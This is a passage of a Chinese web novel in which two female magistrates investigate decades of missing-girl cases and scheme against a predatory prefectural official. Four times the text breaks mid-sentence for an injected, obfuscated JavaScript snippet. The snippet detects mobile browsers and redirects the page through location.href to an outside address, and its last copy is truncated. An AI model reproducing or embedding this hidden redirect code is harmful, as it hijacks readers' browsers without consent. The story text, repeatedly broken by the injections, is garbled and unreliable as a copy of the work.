“你们阻止本官调查失踪少女案,可若是她们都还活着,而且活得很不好,日夜盼望有人解救,我等置之不理,又于心何忍?不管这事能不能有个结果,本官都要尽力查一查。” 见云水谣态度坚决,众属官不再阻止,反而心中都很敬佩云水谣。 云水谣虽出身贵族,却关心民生疾苦,真正做到了爱民如子。 这对于在官场浸淫多年的属官们来说,是难得一见的。 他们第一次觉得,让女子当官也是有好处的。她们情感丰富,更具有同情心,也许当官也能当得比男人更好。 云水谣和景佑离开了县衙,直奔圆石村。 圆石村位于洛县的最南边,再往南就是卫县了。 云水谣的好友孟荀现在担任卫县县令,她也好久没跟孟荀见面了,不知道孟荀过得好不好。 不过她们现在都当着官,不像以前那般自由了,要见面的话恐怕得找机会。 云水谣和景佑骑马走了一天之后,终于到了圆石镇。此时已经是第二天早上了。 现在大约是寅时初,天还刚蒙蒙亮,不过农村人起得早,此时已经有不少村民在生活做饭或是去农田干活了。 赶了一天路,云水谣有些疲惫。 景佑给她递了干粮,她囫囵吃了,又喝了点水,感觉恢复了一些精神,便要打听二十年前失踪的那个女孩——王杜娟。 云水谣一连问了好几个村民,他们都不记得王杜娟。 后来问到一个六十多岁的老者,他才回忆起来:“你说王杜娟啊……我有印象,她六七岁的时候就失踪了,当时我家还跟她家是邻居呢。报了官之后,官府也找不到,就没有消息了。” 云水谣问道:“她还有家人吗?” “她有个弟弟住在那棵柳树下的房子里,你们可以过去问问。” “好,多谢老丈。” 云水谣和景佑走到柳树下的房子前,看见一个二十几岁的年轻人在院子里修锄头。 云水谣问道:“你是王杜娟的弟弟吗?” 年轻人有些惊讶,道:“你们是谁?怎么知道我四姐的名字?” 云水谣表明身份和来意,说自己是来调查王杜娟失踪案的。 年轻人叹了口气,摇摇头:“原来是县令大人,我觉得您还是别费心思了。那件事都过去二十年了,我姐姐不可能找到的。我想,她可能已经遇害了。” “这可不一定啊。她有什么明显特征吗?” “我只记得她下巴中央有颗痣,右脸上有一个红色圆形胎记。” “你还记得她当年走失的具体情况吗?” “当年我也才五岁,很多事记不清楚。就记得有一天中午我姐姐出去玩,然后就没回来,再去找她就找不到了。” “你知道她去哪玩吗?” “不知道,但一个小孩总归只能在附近玩玩,走不了太远的。” “那段时间,你们村有可疑的人出没吗?” “应该没有,就算有,我也认不出来。” “你还有其他家人吗?我想问问情况。” “我其他的家人都在别的地方,不在圆石村。其实您找他们也没用,那天他们都在屋子里休息,谁都没看见我姐姐。” “那我自己看看吧。对了,这些年,你们村的布局有改变吗?还跟二十年前一样吗?” “早就变了很多,几乎完全不同了。就比如我家前面这条河,是几年前新挖的,以前没有。东边本来有座小山,早就炸平了。” 云水谣的心沉了下去。 如果这个村子已经完全改样了,她几乎不可能发现什么蛛丝马迹了。 她只能随便在村子里转转。 有些村民知道她是女官,都好奇地看着她,那种看猴子一样的眼神让她有些不舒服。 但她现在并不在意这些,她的注意力主要集中在寻找失踪女孩上。 景佑提醒她:“大人,不如去问问村子里上了年纪的老人,也许他们知道得多一些。” “也好。” 云水谣找了村子里所有的老人询问情况,可他们大部分都不记得王杜鹃这个人了。 即便记得,也不清楚王杜娟是怎么失踪的。 问他们当时是否有可疑人出没,他们都说没有。 问了一圈下来,有用的信息并没有增加。 云水谣有些沮丧。 景佑递给她水壶,安慰道:“大人别灰心,精诚所至,金石为开,我相信你一定能破案的。” “真的吗?” “嗯。大人是个聪慧的人。” 听见景佑坚定的夸赞,云水谣又恢复了一些信心。 有一个人一直支持着自己,无疑是很大的安慰。 云水谣在河边找了个空旷的地方,坐了下来,静静地看着河水流过。 景佑站在她身后,默默地陪伴她。 云水谣喃喃道:“如果那个王杜娟还活着,今年也才二十六岁,年轻得很……我不能放弃……如果她能回来,她的人生还很长,还有无限的可能。” 看着云水谣执著的样子,景佑心中大为感动。 这个女孩为了一个素未谋面的民女而奔走,对陌生人抱有深切的同情。她就像一个仙女,也许她的存在是为了普度世人。 她是特别的,每一天,景佑都会对她有新的认识。 云水谣发了一会愣,忽然想起自己有听动物说话的能力。 有些事情人没有看见,不代表动物没有看见。 如果能找到从二十年前一直活到现在的动物,也许会得知有用的线索。 猫狗都只能活十几年,乌龟的寿命倒是很长。 云水谣对景佑道:“你能不能给我抓几只乌龟?” 景佑有些困惑。 这个女孩刚才还沮丧得不行,现在竟然要抓乌龟? 他不明白云水谣的思维为什么如此跳跃,但只要云水谣让他做的事,他一定会去做。 他跳进河中,捞来捞去,只抓到了一些鱼虾。 云水谣笑道:“鱼虾我也要,今晚加餐。” 景佑便找了个废弃的脸盆,把自己捞到的鱼虾放进去。 大约半个时辰后,他终于捞到了一只乌龟。 云水谣赶紧将乌龟接过来,心里默念:“乌龟兄弟,这把靠你了。” 乌龟好奇地盯着云水谣,说着乌龟语:“坏了,这女人该不会要吃我吧?” 云水谣忍住笑,把乌龟放在脸盆里。 她本想等景佑再捞一只乌龟,然后听两只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907766|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乌龟交谈。 可是,这河里乌龟很少,景佑之后一直没捞到。 云水谣怕他受凉,叫景佑上来。 景佑问道:“一只乌龟可以吗?” “可以,你快生火烤烤衣服吧。” 听见云水谣关心自己,景佑心中升起一股暖流。 他只把自己当护卫,但云水谣很善良,心思也细腻,把他当成朋友一般关心。 生火对他来说不是难事,他捡了几根树枝,用火折子点燃了,然后坐在火堆边,让火烘干他的衣服。 云水谣心想,乌龟和鱼虾虽然物种不同,但应该也会互相交谈吧,自己只需等着它们说话就好。 谁知,这乌龟有点懒,其他鱼虾跟它说话,它都爱答不理。 云水谣有些着急,乌龟不说话,她怎么发现有效信息? 景佑看到云水谣焦急的样子,不明白她在做什么。 她好像总是盯着小动物看,时而焦急,时而露出微笑。 也许,她有什么秘密在身。 不过,既然她不愿说,就尊重她的意愿吧。 景佑好奇心不强,决定继续装作什么都不知道。 过了好一会,乌龟终于说话了。 “我们不会被吃掉吧?” 有一条鱼回答道:“我也不知道。据我所知,被人类抓了,那基本上就会被吃。” 有一只虾说道:“那可不一定,说不定他们是想把我们养起来。” 乌龟道:“我们乌龟和鱼可能会被养起来,但是虾一定会被吃掉。从没见过有谁养虾的。” 虾有些不服:“你没见过,不代表没有。听说过河虾养殖场吗?” “河虾养殖场养着虾,是为了把你们卖给人类吃掉。” “你这死乌龟,怎么净说丧气话?” “我可不是故意吓你,我活了十几年,就没见过不被吃的虾。” 听到这里,云水谣有些失望。 原来这只乌龟只有十几岁,那它肯定不知道二十年前的事情。 但是,年纪大的老龟不是那么好抓的。就算抓到了,也许人家二十年前不是住在圆石村的,也许它根本没有看见抓走女孩的人是谁。 听动物说话获得线索,终究还是要碰运气。 云水谣觉得希望渺茫。 盆里的动物还在聊天,云水谣就继续听着。 只听一条鱼道:“我是从卫县那边游过来的,我来的时候看见一个女孩穿着官服,你们知道是怎么回事吗?” 乌龟道:“你真是孤陋寡闻,没听说过女官吗?” “女官?就是女人当官?” “对啊,你消息太不灵通了。女官以前没有,现在可有了。” 云水谣忽然灵光一闪。 这条鱼从卫县游过来,它见过一个女官,那它说的应该就是卫县县令孟荀了。 孟荀是云水谣的好友,跟云水谣一同考中进士,被授予卫县县令。自从京城一别,她们已经许久未见了。 孟荀是城阳郡主之女,是当今皇上的外甥女,身份高贵。不过她并不骄矜,也不以身份压人。尽管云水谣家里被抄家流放,孟荀仍旧像以前那样,把云水谣当成最好的朋友,并未嫌弃她。 这条河并不长,从卫县边境一直流到圆石村。 所以,孟荀现在就在卫县的边缘,离云水谣很近? 9. 云县令逢友喜出望外 孟女官论案百思不解 云水谣很激动。 此行虽然没发现什么有用的线索,但得知孟荀就在不远处,也许可以见上一面。 她站了起来,跟景佑说自己想去卫县。 景佑道:“那这些鱼虾要带上吗?” “要不放了它们吧。” 云水谣能听见鱼虾说话,如果把它们吃了感觉怪怪的,她也不忍心,干脆就放生好了。 景佑笑了笑,觉得这小姑娘果然善变,一会要吃鱼虾,一会要放生。 他还是遵从云水谣的意思,把鱼虾全都放回了河里。 她们往南走了一段路,就到了卫县的城门口。 卫县的士兵要看她们的路引,云水谣正犹豫着要不要暴露自己的官员身份。 她身为一县县令,随便去别的县串门好像不太好。 但是她若要报个假身份,又没有准备好假的路引。 正在犹豫时,忽然听见城墙上有人叫她:“阿谣!是你吗?” 云水谣抬头一看,见孟荀站在城墙上,穿着一身黑色的官服,显得干净利落。 云水谣笑道:“是我,快下来接我。” 孟荀赶紧下来,把云水谣接进去。 士兵知道孟荀是县官,自然不敢盘问县官的客人,也就放云水谣二人进去了。 孟荀兴奋地牵着云水谣的手,带她走进了官邸。 “阿谣,我们有多久没见面了?快一个月了吧!” “是啊。阿荀,你为何来到卫县边缘?” “我是来查案子的。最近我翻阅了卫县的陈年卷宗,发现有很多起女孩失踪案没有破获。虽然每年也就发生十来起,但日积月累,可是不小的数量。我想,我总不能完全不管。于是,我就打算按照发生的时间顺序来查。 “最开始的一起女孩失踪案发生在卫县边缘的弯月村,距今已经二十年。我就来到弯月村查案,一无所获。弯月村靠近城墙,我就登上城墙散心,没想到遇见了你。” 听了孟荀的话,云水谣大惊:“怎么卫县也有这么多女孩失踪案?” “什么意思?难道你知道些什么?” “我们洛县也有两百余起女孩失踪案,是这二十年间累计的。由于失踪的都是平民女孩,且每年都只有十余个,没有引起历任县官的重视。” 孟荀也很惊讶,询问了一些细节,发现跟云水谣在调查的案件几乎一模一样。 云水谣心中隐隐有了一个猜测:“我知道幕后黑手为什么每年只拐走十余个少女了。” “为什么?” “因为这样不引人注意。他们可以分散作案,在这个县拐走十余个,在另一个县也拐走十余个。如果在很多个县作案,那么其实他们每年拐走的女孩不在少数。但因为太分散了,每个县都不会高度重视,也不会把自己县的女孩失踪案跟其他县联想到一起。” “你的意思是,咱们两个县的女孩其实是被同一拨人拐走,而且他们还不止在我们两县作案?” “对,因为这些女孩失踪案都有一些共同的特点,比如都没有留下蛛丝马迹,其他人都没有见到幕后黑手,拐走的都是十岁以下的农村女孩……所以我猜测,一定有一个组织在进行一项神秘的阴谋,而这阴谋需要源源不断的女孩加入才能成功。 “他们如果在同一个地方掳走太多女孩,会引起官府重视,也许官府很快破案,捣毁他们的老巢。所以,他们就想出了分散作案的主意。这幕后黑手,应该是心思缜密、老谋深算之人,而且他派出来拐走女孩的手下们,应该武功高强,这样才能不被其他人发现。” 孟荀点头:“阿谣你分析得有理,好像把原本杂乱的珠子串联成了一条线……所以,这看着是几百起案子,但实际上只是一个案子?” “对。如果想不到这一点,就会杂乱无章,毫无头绪,把每一件失踪案都当做单独的案子办理,最后会因为精力不足而不了了之。” “对啊……这幕后之人,实在太聪明了……只是他们要拐走这么多女孩做什么?是不是卖到山区当童养媳?” “如果是普通的人贩子团伙,作案不会如此了无痕迹。而且一个人贩子团伙的势力能遍布多个县,多人同时作案,也不太可能。” “如果不是人贩子团伙,那他们是什么人呢……” “目前还难以断定。我想,女童失踪案不会只发生在我们两县,也许其他县也有类似的情况。如果能联合其他县令,力量大些,可能能更快侦破此案。” “可是,我们怎么知道哪些县有这些情况?总不能一个一个去问吧?” “不如我们去雍州城问问州里的长官,让他们帮忙查阅资料,就可以知道雍州哪几个县情况跟我们一样了。至于其他州县,离我们太远,就不去联络了。” “这主意不错,我们一起去。” 洛县和卫县都是雍州下辖的县,归雍州刺史管辖。 雍州有八十多个县,如果其他县也有类似的女童失踪案,那加起来是个不小的数字。 云水谣和孟荀打定了主意,便写奏表给州里长官,言明自己想去州里查阅资料。 几天后,州里长官回复,二人可以去。 于是,云水谣和孟荀便结伴而行。 二人各带了十余名护卫,景佑也在其中。 云水谣和孟荀并辔而行,一路上有说有笑。二人许久未见,有说不完的话。 景佑跟其他护卫并行,一路上并未到云水谣身边。 这次出行人多,他似乎觉得不便和云水谣走得太近。 云水谣有时候会想起景佑,往身后看去,每次都能对上景佑那深邃的眸子。 只是每次对视,都让她心跳得更快,她不敢多看。 不知不觉走了一半路程,这天入夜,她们在一家简陋的客店休息。 孟荀拿了一大袋柿子过来,分给云水谣:“我刚才看见一颗柿子树,便让手下打了下来,有这么多呢!可够咱们吃了。” 云水谣忍俊不禁:“何必打这么多,也不知好不好吃。” “这柿子又红又大,肯定好吃,你尝尝。” “洗了吗?” 孟荀讪笑了一下,拿了个柿子在衣服上蹭了蹭,然后递给云水谣:“这下干净了,吃吧。” 云水谣见孟荀还是这样冒失,边笑边吃。 这柿子虽是野生的,但味道倒是不错,她们俩吃了好几个。 云水谣突然想起,景佑也爱吃柿子,可惜自己不能直接拿给他,不然显得过于亲近了。 这时,景佑却走了过来,递给云水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907767|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谣两个石榴:“大人,刚才小人在外面见到果树,打了两个石榴下来。” 云水谣赶紧接过:“多谢你了。你不吃?” “小人不爱吃石榴。” “好吧。” 眼看景佑要走,云水谣突发奇想。她拿了一个小柿子在手里,偷偷塞进景佑袖子中。 她的动作很快,应该没人发现。 景佑不知自己袖子里被塞了什么,有些惊讶地看了云水谣一眼。 云水谣故作正经,咳嗽了一声,假装无事发生。 景佑跟她有一定的默契,知道她不想让自己当众拿出袖子里的东西,便走开了。 走到无人处,景佑才掏出袖子里的东西,竟是一个小柿子。 看来,是云水谣记挂着自己爱吃柿子,所以偷偷给自己。 景佑想起云水谣刚才那小心翼翼的样子,忍不住笑了笑。 他刚准备吃,另一个护卫从后面钻了出来,把他的柿子抢走:“哎,哪来的柿子,归我了!” 景佑赶紧追上去:“还给我!” 那个护卫拿着柿子在前面跑,景佑在后面紧追不舍。 到后来,那个护卫实在没力气了,只得把柿子还给景佑:“你这人,平时也没见这么护食啊。” “这个柿子不一样,这是……这是我好不容易摘的。” 差点就说漏嘴了,景佑的耳朵红了红,还好那护卫没发现。 景佑赶紧将柿子吃了,只觉得清甜入心,以前好像从未吃过这么甜的柿子,也不知是不是心理作用。 继续赶路几日,云水谣和孟荀终于到了雍州府。 雍州刺史不在,是雍州长史陆映澜接待的她们。 长史是刺史的属官之一,从五品,品级比县令要高,故而也算是云水谣的上司之一。 雍州长史陆映澜是个三十多岁的中年男子,面貌精明干练,带着几分上位者的傲慢。 不过,在面对云水谣和孟荀时,他却温和地笑着,并不摆架子。 只是,云水谣总觉得他身上散发出一种可怕的气息,让人不敢接近。 也许是长史要管的事情太多,所以才有些凶相,云水谣也没有多想。 长史陆映澜将云水谣二人迎入客堂,寒暄了几句,云水谣趁机说明来意。 “陆大人,我和孟荀前来,是为了询问雍州其他县是否也有类似的女孩失踪案,烦请陆大人帮忙查查。” 陆映澜笑道:“此事我已知道,二位的奏表便是我批复的。两位县令不用着急,我自会为你们查清。你们远道而来,不如就由我做东,请你们尝尝州城的特色菜。” 见陆映澜如此客气,云水谣二人也不敢推拒,便应下了。 可一连三日,陆映澜都带着云水谣和孟荀游山玩水、品尝美食,丝毫不提公事。 云水谣若提起时,他只拿话搪塞。 云水谣觉得他是长官,不好逼迫,便只得继续跟他交际。 只是,这个陆映澜既不管云水谣二人所求之事,也不理会州里的事务,只是频繁地出现在云水谣和孟荀面前,甚至还时不时地送礼,实在不知他的意图。 云水谣和孟荀一直住在州衙的客房里。 这天,孟荀来到云水谣房间,脸色有些不好。 10. 长史居心叵测 女官怒火中烧 云水谣问道:“怎么了?” “那个雍州长史陆映澜,竟派人送来一盒首饰,我觉得实在有些不合适。” 云水谣也皱眉道:“我也收到了他送的首饰,不知他什么意思。若是我们的品级比他高,他频繁送礼,还可以说是巴结上级。可我们品级都比他低啊。若说是他热情好客,招待远道而来的县官,可他这些天的所做作为已经超出了待客的礼数,有点过于亲近了。我想,他是不是觉得我们是女子,喜爱首饰,所以才送来的?” “可是,他买这些干什么?非亲非故的,今儿送特产,明儿送首饰,又没有事求咱们,倒显得不尴不尬的。而且我们求他的事,他也还没干呢。” “是啊。这几日来,我们要请他吃饭、给他送礼,他一概不依,我们出游、吃饭所有花费,都是他出钱,给他钱他又不要。莫非是他太有钱了,所以才这样漫洒金钱?” “看着不像……阿谣,你有没有觉得,他看我们的眼神有些不对啊?” “是吗……我都不怎么跟他对视的,究竟怎么不对劲?” “就好像是……猎人看猎物的感觉……阿谣,你说他是不是对我们有什么非分之想?” 云水谣很惊讶,但仔细想来,这个推测却又合理。 但凡一个男人想将一个女人收入囊中,一开始必定是陪吃陪玩,殷勤送礼,不计金钱,只为博美人一笑。 云水谣也出身富贵,见惯了王孙公子的这种做派。 那些贵族男子自然不敢轻慢云水谣这样的侯府小姐,可若是他们看上了某个身份低微的女子,或是青楼名妓,便是这样的殷勤讨好。 等那女子爱上贵族男子后,自然就有了一些露水情缘,传为风月场上的佳话。 莫非,陆映澜也在用这种套路追求她们? 云水谣低声道:“我觉得你说得有理,这个陆大人确实有些不对劲。只是别声张,免得对我们的名声不利。” 孟荀气得一拍桌子:“可恶,这个陆映澜,把我们当什么了!我们虽在七品,却也是科举出身,正经官员,他当他在逛窑子呢!” “他若有如此心思,自然令人气愤。可若我们戳破了,去质问他,他肯定又不会承认,我们反落个没脸,可能他还会给我们安上不敬长官的罪名。 “想来是他在官场时日长久,什么样的女人都见过,都能轻易得到,我们女官的身份对他来说很新鲜,所以他起了不该有的心思,想撩拨我们。若我们是个轻浮的,明白了他的意思,跟他有了那种关系,对他来说自然是人生中的一段佳话,他还可以借着彼此都是官员的身份,频频私会而不惹人怀疑。若是我们不愿上钩,他也可以说他只是在关照下属,并无旁意,还能落得个慷慨大方、爱惜下属的美名。无论我们作何反应,他都不亏。” 孟荀冷哼了一声,粉面含嗔:“简直其心可诛!他以为我孟荀是什么人,我若写奏折告到皇上那里,他的九族都不知道怎么死!” “你怎么告他?他只是花钱请我们吃饭,给我们买了一些东西,并未动手动脚的,他解释的空间很大。就算是皇上,也不能仅凭猜测就定罪,否则如何服众?这正是陆映澜狡猾之处,他希望我们明白他的意思,自己上钩。我们若不上钩,也拿他没法子。” “难道我们就这样放过他不成?我咽不下这口气!” 孟荀见云水谣的桌上摆着一盒首饰,问道:“这就是陆映澜送你的首饰吧?” “没错。” 孟荀直接把那盒首饰扔在地上,用力踩了几脚,边踩边骂:“什么玩意!瞎了他的狗眼!姑奶奶若是不将他剥皮实草,就不姓孟!” 踩完了首饰,孟荀又不解恨,见架子上放着一些小吃,是昨日陆映澜买的,也拿了过来,摔在地上,狠狠踩碎。 云水谣笑道:“我看你想踩碎的不是点心和首饰,而是陆映澜的骨头。” “对,我不仅要踩死陆映澜,还要炸了他的祖坟!” “他出身关东陆氏,五姓七家之一,其祖父配享太庙,怕是炸不得的。” “什么配享太庙,他们陆家也配?明日我就写信告诉皇上,让他将陆映澜的祖父从太庙挪出来!” “陆映澜其心可诛,自不必说,只是没必要迁怒他的家人,他的家人可未必是坏人。” “那你说怎么办?” “陆映澜既是如此品性,想必外头的女人自不会少,咱们从风月之事入手,设局让他出个丑,或是出个大错影响仕途,倒也不难。只是,我们没必要亲自动手,否则跟他结下冤仇,也是给将来惹麻烦,倒不如借力打力。” “如何借力打力?” “雍州除了长史之外,还有司马。长史是从五品上,司马是从五品下。若是这雍州司马是个上进的,自然想升官。若是长史有错,司马不就顺理成章地升上去了?我们只需见见雍州司马,探探他的口风,看他愿不愿意跟我们合作。” “若是这雍州司马也跟长史陆映澜一样,对我们有非分之想呢?” “那就再想别的法子。我听说,雍州司马元澄,是镇国公府的世子,以恩荫封官。如此身份之人,必定不会久居人下。可长史陆映澜正当壮年,只怕还会在长史的位置坐上很久,雍州司马想升官也没有机会。如他有取而代之之意,我们只需稍加暗示即可。” “原来这雍州司马,也是个公侯子弟,出身比陆映澜还高。那我们就去见见。只盼他是个正直之人便好。” “是啊,我们是来查女童失踪案的,希望这雍州司马能给我们提供一些方便吧。” “对哦,差点忘了正事。” 云水谣二人就向雍州司马元澄递上拜帖。 而雍州长史陆映澜仍旧频频邀约,云水谣二人只是用话搪塞他,不曾再赴约。 云水谣和孟荀毕竟也是县令,她们不肯赴约,陆映澜也没法硬逼,更不敢使出什么阴暗手段。 若是寻常女子,执意不肯从他,依他一惯的做法,早就下药了,先把人弄到手再说,再慢慢威逼利诱,让那些女子心甘情愿成为他的外室或露水情人。 但对于两个县令,来这招却是不行的,一旦事发,后果很严重。 他本以为云水谣和孟荀既然抛头露面外出做官,想必是不在意男女大防的,说不定在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13907768|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这方面很开放,他只需要稍加暗示,就能跟她们搭上,享些艳福。 谁知,她们二人竟跟自己想的完全不一样。 她们必定是识破了自己的心思,所以才不再来见自己,但也没有声张,可见她们也很聪明。 都是成年人,既然这一个有心,那两个无意,也只能算了。 不就是女人,何处不可得,陆映澜又开始频频去青楼找相好的姑娘了。 雍州司马元澄似乎比较忙,接了云水谣和孟荀的拜帖后,两天才回帖,邀她们在州衙正堂相见。 云水谣和孟荀便各自带着两个护卫前往。云水谣带的是景佑和另一个武功高强的护卫。 她们品级低,所以比约定的时间早了一炷香到达,以示对长官的恭敬。 护卫们就站在她们身后。 过了一会,有人叫她们:“二位大人到得好早。” 二人回头一看,是雍州司马元澄来了。 元澄看着也就二十左右,年少英俊,双目有神,但带着几分邪魅之气。不过他是鹅蛋形脸,脸部的圆润中和了他的锐气,看起来比较和谐养眼。 元澄彬彬有礼地对云水谣和孟荀说道:“抱歉,两位县令,这些天我忙于公务,直到今天才有空相见。” 云水谣赶紧站起来回话:“元司马客气了,我等叨扰大人,十分过意不去。” 元澄也礼貌性地笑着。 只是,他看见了站在云水谣身后的景佑,眼神突然收缩起来,像是猎豹见了天敌一般,充满了戒备之意。 不过,这个表情转瞬即逝,元澄很快就恢复了正常。 云水谣却敏锐地感知到了,问道:“元大人,我这护卫有什么问题吗?” “哦,没有。我平时也会练武,方才看出你这护卫武功很高,绝非普通武士,所以感到惊讶。” 云水谣笑道:“他叫景佑,功夫确实不错,多谢元大人夸赞。” “不知云县令和他可是旧识?” “不是,我们是在路上偶遇,我见他功夫不错,便聘请他当护卫。” “原来如此。云县令可谓是慧眼识珠。” 虽然元澄在夸赞,可云水谣却觉得有些不对劲。 元澄这么关心一个护卫做什么?就算景佑其人真的十分优秀,也不值得一个司马专门讨论吧? 而且他刚才看景佑的眼神,分明有些戒备和不善,究竟是怎么回事…… 云水谣留了个心眼,决定等会离开之后,单独问问景佑。 孟荀已经说明了来意,请元澄帮忙查查少女失踪案。 元澄倒是毫不推拒,道:“这事容易,我这几天叫下属去资料库查查,还请两位县令稍等数日。” 云水谣道:“自然可以,多谢元大人了。” 孟荀还想说什么,云水谣用眼神示意她别说了,孟荀就忍了下来。 接着,云水谣和孟荀向元澄告别,走回自己的房间。 路上,孟荀问道:“阿谣,你不是说想探探元澄的口风,看他愿不愿意跟我们联手教训长史陆映澜吗?刚才我差点就试探他了,你怎么不让我说?” 11. 司马暗怀凌云志 女官初露纵横才 “咱们跟他第一次见面,互相还不了解,哪有直接说这种事的?好在我们因为公务,还会在州衙多待几天,到时候慢慢地跟元澄熟悉了,再探口风不迟。” “也是,我若直接说这个,倒突兀了。” 孟荀回了房间,云水谣也把景佑叫进自己房间。 景佑问道:“大人,您有什么事吗?” “景佑,你跟雍州司马元澄,以前认识吗?” “不认识。” “你是不是无意间得罪过他?” “应该没有,我今天也是第一次见他。” “那就怪了……他今天看你的眼神很奇怪,你注意到了吗?” “是,我也不知道为什么。也许是他看出我的功夫在他之上,所以心中有些不快吧。习武之人都有些争强好胜。” “真的吗?我总觉得不会那么简单。而且,这功夫高低,靠看怎么能看出来?” “大人说的也有理。如果不是这个原因,小人也想不出他的眼神是什么含义。” 云水谣总感觉自己漏了什么事情,但一时半会又想不到。 她对景佑说道:“总之你多加小心。” “是。” 接下来,云水谣和孟荀就等着元澄给她们调查结果了。 如果其他县也有类似的几百起少女失踪案,便可以联合那些县令一起破案。 孟荀想进州衙的资料库一起查,可被元澄婉拒了。 元澄说州里的资料库只有州府官吏可看,这倒也没错,因此云水谣劝孟荀继续等待。 孟荀没事做,干脆就搬到云水谣的房中,跟她同吃同住。 孟荀抱怨道:“元澄为何不许我们进去查,有我们两个人帮忙,也快些。” “从程序上说,我们确实不可以直接进去,元澄做得没错。” “可这样做也太死板了。这个案子跟我们两县息息相关,有什么资料是我们俩不能看的吗?” “别着急,人家也是按章程办事。我们不需要进去看,倒省了些功夫,只需等待元澄的调查结果就行。这会子要是没事做,我们不如去寻长史陆映澜的错处如何?” 孟荀拍手称快:“好啊,这个我喜欢。但是,怎样才能抓住他的把柄?” “我打听了,这些天陆映澜经常去春风楼找姑娘。据说陆映澜酒量很好,但一旦喝醉了,就控制不住自己。我们设法让他喝醉,他就会在青楼闹事,到时候闹大了,影响不好,他自然会被上司责罚。” “就只是责罚啊?” “我们急着查案,没有太多功夫跟他耗,如果能让他吃瘪一次,也算小小地出了口恶气。以后时日长着,可以慢慢对付他。” “那也好。就听你的。” 云水谣已拟好计划,跟景佑说了,让他去执行。 不过,光是让陆映澜出丑可不够,云水谣还想找个帮手,最好能把陆映澜拉下来。 云水谣走出房门,在州衙里闲逛,走到资料库前。 雍州司马元澄正带着一群小吏在里面忙碌着,应该是帮云水谣她们找资料。 云水谣站在门口对元澄说话:“元大人辛苦了,我带了一些明前茶,大人可要一起喝几杯?” 元澄笑道:“也好。” 这附近有个小小的花园,里面有个八角亭,里面石桌石凳俱全。 云水谣邀元澄坐下,跟他对饮。 元澄便聊起女科举一事,询问云水谣是如何中举的。 云水谣便说了自己小时候昼夜苦读的事,聊着聊着,两人渐渐熟悉起来。 云水谣便说道:“其实,那些佶屈聱牙的典籍,我不爱看。若非为了科举,也不会一直钻研这个。平时有空,我倒爱读诗。” “是啊,我平日也爱看诗词,既轻松,又有灵感。不知云大人最喜欢看谁的诗?” “我喜欢前朝李素学士的诗,只是他的诗有一股郁郁之气,读多了难免伤感。” “这也怪不得他,他很有才华,却始终没有升迁的机会,时间长了,郁结于心,便表现在诗词上。正所谓‘赋到沧桑句便工’,若非人生坎坷,也写不出如此惊艳的诗词。” “元大人说的是。不过,如果让我选,宁可诗词不工,也要仕途顺利。若像前朝的李素学士那样,被不停地打压、意志消沉,才能写出好诗,那我宁可不要。” “云大人此言,倒甚合我心。” 听元澄这么说,云水谣便知有戏。 她继续说道:“其实,如今有些人仗着是世家子弟,虽文不成,武不就,仍身居高位,真正的贤人才子反而屈居其下,实在不公。我看元大人人品才貌,似乎不应该只做个小小的雍州司马。” 听了云水谣的吹捧,元澄面有喜色,但随即装出一副谦逊的样子,道:“我如今年仅二十,为官不过三年,便能成为从五品的司马,已是不错了。” “元大人是镇国公的儿子,镇国公战功赫赫,功在千秋,您便是出将入相都使得,做个雍州司马确实屈才了。” “云大人实在谬赞了。为官之道,需要循序渐进,勤勉努力,至于能否升迁,也得看上面是否有空缺的职位,是可遇不可求的。” “据下官愚见,机会是留给善于观察的人的。元大人心细如发,明察秋毫,想必马上就有机会。祝大人百尺竿头,更进一步。” 元澄眼神一亮:“云大人何出此言?可是知道些什么?” 元澄还以为,云水谣有什么内幕消息要卖给他,所以才邀请他喝茶。 云水谣只是神秘一笑:“下官不过是说一些浅见罢了,并不是知道什么。” “原来如此。” 云水谣又跟元澄闲聊了几句,就离开了。 经过这次交谈,云水谣觉得,只要长史陆映澜出事,元澄很可能会借着机会踩一脚。 那么,自己的目的就达成了。 夜晚,春风楼。 雍州长史陆映澜穿着一身常服,走了进来。 鸨母知道他的身份,但也知道这些官员在青楼里不喜欢别人直呼他的官职,因此便笑着招呼道:“陆爷,您来了。” 陆映澜递给她一锭银子,道:“桃枝姑娘在吗?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 